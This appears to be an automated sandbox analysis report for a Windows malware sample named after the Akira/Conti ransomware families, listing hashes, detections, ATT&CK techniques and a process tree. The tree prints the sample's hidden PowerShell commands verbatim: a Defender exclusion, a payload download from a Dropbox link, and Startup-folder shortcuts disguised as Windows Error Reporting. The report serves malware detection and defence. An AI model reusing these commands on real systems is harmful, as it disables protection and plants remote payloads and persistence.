d8e78a6671719eaa328e1580ca83e510564f09f9f638ffb8e251f0f1604749eb

Analysis

max time kernel
149s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 08:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe
Size 531KB
Sample260803-kmbc8asbka
SHA256 d8e78a6671719eaa328e1580ca83e510564f09f9f638ffb8e251f0f1604749eb
MD5 f542d7f8bb49f7c6a58e21ceee6b2086
SHA1 22396d5f808c80c9e9ba17464180eaf0b631d1ea
SHA512 b7227f542b80b3656ccc90f565eba012346ab3b9dbd536242a6afde08e49cb51418334084938c077b4a5a595baa37bf858ebcad06c58ebd6f3a4544bc07a4a46
SSDEEP 12288:p19XU5K69h/OTTdB6sqi6jD97Dy7SSetn+:p3u5Cusn4NSetn+
TLSH
T1F0C47E92BAC46CFDD602C03C4267937A623A7BCA53215FF705696A302F97DC16E0A71D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Detects executables referencing virtualization MAC addresses 8 IoCs

resource	yara_rule
behavioral2/memory/3600-33-0x00007FF60CF20000-0x00007FF60CF8F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/files/0x000b000000016bc9-49.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/3600-69-0x00007FF60CF20000-0x00007FF60CF8F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/5564-75-0x00007FF64FE30000-0x00007FF64FE9F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/3168-82-0x00007FF64FE30000-0x00007FF64FE9F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/3532-86-0x00007FF789C10000-0x00007FF789C7F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/4004-87-0x00007FF789C10000-0x00007FF789C7F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/2760-88-0x00007FF64FE30000-0x00007FF64FE9F000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Looks for VirtualBox drivers on disk 2 TTPs 5 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	monitor.exe
File opened (read-only)	C:\Windows\System32\drivers\vboxguest.sys	WerFault.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3564	powershell.exe
10	696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1056	powershell.exe
3564	powershell.exe
5916	powershell.exe
4684	powershell.exe
1420	powershell.exe
696	powershell.exe
3512	powershell.exe
3564	powershell.exe
696	powershell.exe
1056	powershell.exe
1420	powershell.exe
3512	powershell.exe

Looks for VMWare drivers on disk 2 TTPs 5 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	monitor.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	WerFault.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
3168	WerFault.exe
4004	monitor.exe
2760	WerFault.exe
3532	monitor.exe
5564	WerFault.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\test_admin.tmp	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe
File opened for modification	C:\Windows\System32\test_admin.tmp	WerFault.exe
File opened for modification	C:\Windows\System32\test_admin.tmp	monitor.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1484	cmd.exe
2876	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1056	powershell.exe
1056	powershell.exe
3564	powershell.exe
3564	powershell.exe
5916	powershell.exe
5916	powershell.exe
4684	powershell.exe
4684	powershell.exe
1420	powershell.exe
1420	powershell.exe
1420	powershell.exe
696	powershell.exe
696	powershell.exe
3512	powershell.exe
3512	powershell.exe
696	powershell.exe
3512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeIncreaseQuotaPrivilege	1056	powershell.exe
Token: SeSecurityPrivilege	1056	powershell.exe
Token: SeTakeOwnershipPrivilege	1056	powershell.exe
Token: SeLoadDriverPrivilege	1056	powershell.exe
Token: SeSystemProfilePrivilege	1056	powershell.exe
Token: SeSystemtimePrivilege	1056	powershell.exe
Token: SeProfSingleProcessPrivilege	1056	powershell.exe
Token: SeIncBasePriorityPrivilege	1056	powershell.exe
Token: SeCreatePagefilePrivilege	1056	powershell.exe
Token: SeBackupPrivilege	1056	powershell.exe
Token: SeRestorePrivilege	1056	powershell.exe
Token: SeShutdownPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeSystemEnvironmentPrivilege	1056	powershell.exe
Token: SeRemoteShutdownPrivilege	1056	powershell.exe
Token: SeUndockPrivilege	1056	powershell.exe
Token: SeManageVolumePrivilege	1056	powershell.exe
Token: 33	1056	powershell.exe
Token: 34	1056	powershell.exe
Token: 35	1056	powershell.exe
Token: 36	1056	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	5916	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeIncreaseQuotaPrivilege	1420	powershell.exe
Token: SeSecurityPrivilege	1420	powershell.exe
Token: SeTakeOwnershipPrivilege	1420	powershell.exe
Token: SeLoadDriverPrivilege	1420	powershell.exe
Token: SeSystemProfilePrivilege	1420	powershell.exe
Token: SeSystemtimePrivilege	1420	powershell.exe
Token: SeProfSingleProcessPrivilege	1420	powershell.exe
Token: SeIncBasePriorityPrivilege	1420	powershell.exe
Token: SeCreatePagefilePrivilege	1420	powershell.exe
Token: SeBackupPrivilege	1420	powershell.exe
Token: SeRestorePrivilege	1420	powershell.exe
Token: SeShutdownPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeSystemEnvironmentPrivilege	1420	powershell.exe
Token: SeRemoteShutdownPrivilege	1420	powershell.exe
Token: SeUndockPrivilege	1420	powershell.exe
Token: SeManageVolumePrivilege	1420	powershell.exe
Token: 33	1420	powershell.exe
Token: 34	1420	powershell.exe
Token: 35	1420	powershell.exe
Token: 36	1420	powershell.exe
Token: SeIncreaseQuotaPrivilege	3512	powershell.exe
Token: SeSecurityPrivilege	3512	powershell.exe
Token: SeTakeOwnershipPrivilege	3512	powershell.exe
Token: SeLoadDriverPrivilege	3512	powershell.exe
Token: SeSystemProfilePrivilege	3512	powershell.exe
Token: SeSystemtimePrivilege	3512	powershell.exe
Token: SeProfSingleProcessPrivilege	3512	powershell.exe
Token: SeIncBasePriorityPrivilege	3512	powershell.exe
Token: SeCreatePagefilePrivilege	3512	powershell.exe
Token: SeBackupPrivilege	3512	powershell.exe
Token: SeRestorePrivilege	3512	powershell.exe
Token: SeShutdownPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeSystemEnvironmentPrivilege	3512	powershell.exe
Token: SeRemoteShutdownPrivilege	3512	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3600 wrote to memory of 1056	3600	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe	89
PID 3600 wrote to memory of 3564	3600	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe	92
PID 3600 wrote to memory of 5916	3600	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe	95
PID 3600 wrote to memory of 4684	3600	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe	97
PID 3168 wrote to memory of 1420	3168	WerFault.exe	101
PID 3600 wrote to memory of 1484	3600	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe	103
PID 1484 wrote to memory of 4004	1484	cmd.exe	106
PID 4004 wrote to memory of 2876	4004	monitor.exe	107
PID 3600 wrote to memory of 2760	3600	2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe	108
PID 2760 wrote to memory of 696	2760	WerFault.exe	110
PID 3532 wrote to memory of 3512	3532	monitor.exe	113
PID 2876 wrote to memory of 5564	2876	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_f542d7f8bb49f7c6a58e21ceee6b2086_akira_conti.exe"
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/0bczouxh5j5q2efpcwwga/camadas.sgn?rlkey=gdczlgnzpxtd8w30ln6nfgact&st=izonncmp&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    C:\ProgramData\Microsoft\Windows\WER\monitor.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2876
    - - C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        
        C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        5⤵
        Looks for VirtualBox drivers on disk
        Looks for VMWare drivers on disk
        Executes dropped EXE
        
        PID:5564
- C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
  "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
  2⤵
  - Looks for VirtualBox drivers on disk
  - Looks for VMWare drivers on disk
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/0bczouxh5j5q2efpcwwga/camadas.sgn?rlkey=gdczlgnzpxtd8w30ln6nfgact&st=izonncmp&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:696

C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1420

C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WerFault.exe

Path C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
Size 531KB
SHA256 d8e78a6671719eaa328e1580ca83e510564f09f9f638ffb8e251f0f1604749eb
MD5 f542d7f8bb49f7c6a58e21ceee6b2086
SHA1 22396d5f808c80c9e9ba17464180eaf0b631d1ea
SHA512 b7227f542b80b3656ccc90f565eba012346ab3b9dbd536242a6afde08e49cb51418334084938c077b4a5a595baa37bf858ebcad06c58ebd6f3a4544bc07a4a46
SSDEEP 12288:p19XU5K69h/OTTdB6sqi6jD97Dy7SSetn+:p3u5Cusn4NSetn+
TLSH
T1F0C47E92BAC46CFDD602C03C4267937A623A7BCA53215FF705696A302F97DC16E0A71D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download